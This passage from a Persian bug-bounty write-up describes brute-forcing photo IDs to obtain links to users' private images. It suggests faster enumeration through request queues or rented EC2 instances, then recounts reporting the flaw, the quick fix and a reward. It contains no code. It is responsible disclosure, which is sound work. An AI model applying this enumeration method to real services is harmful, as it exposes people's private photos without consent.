جدول میانگین زمان مورد نیاز برای آزمایش شناسه های عکس را در یک دوره معین نشان می دهد. من مطمئن هستم که همه اینها می توانست 10-20 بار تسریع شود. به عنوان مثال، در یک اسکریپت brute force، یک صف بزرگ از تمام درخواست ها و همگام سازی عادی بین آنها ایجاد کنید، زیرا در اجرای من، یک درخواست با مهلت زمانی کل فرآیند را کند می کند. و به طور کلی، شما فقط می توانید چند نمونه را در EC2 خریداری کنید و تمام عکس های هر کاربر را در یک ساعت دریافت کنید. اما من از قبل می خواستم بخوابم.

و به طور کلی، مهم نیست که مهاجم چقدر برای این کار صرف می کند، 5 ساعت یا کل روز، زیرا به هر طریقی او پیوندهایی به تصاویر خصوصی دریافت می کند. توانایی دسترسی ایمن به اطلاعات خصوصی در مدت زمان محدود، تهدید اصلی ناشی از این آسیب‌پذیری است.

گزارش یک آسیب پذیری

در ابتدا گزارش به خدمات پشتیبانی ارسال شد، اما پس از پاسخی مانند "متشکرم، احتمالاً به نحوی آن را برطرف خواهیم کرد..." و یک هفته انتظار، من کمی غمگین شدم. با تشکر فراوان از Bo0oM، که به طور مستقیم با توسعه دهندگان تماس گرفت. پس از آن، باگ‌ها در عرض چند ساعت بسته شدند و چند روز بعد دولت پاداشی به مبلغ 10 هزار به حساب من منتقل کرد.

بهترین مقالات در این زمینه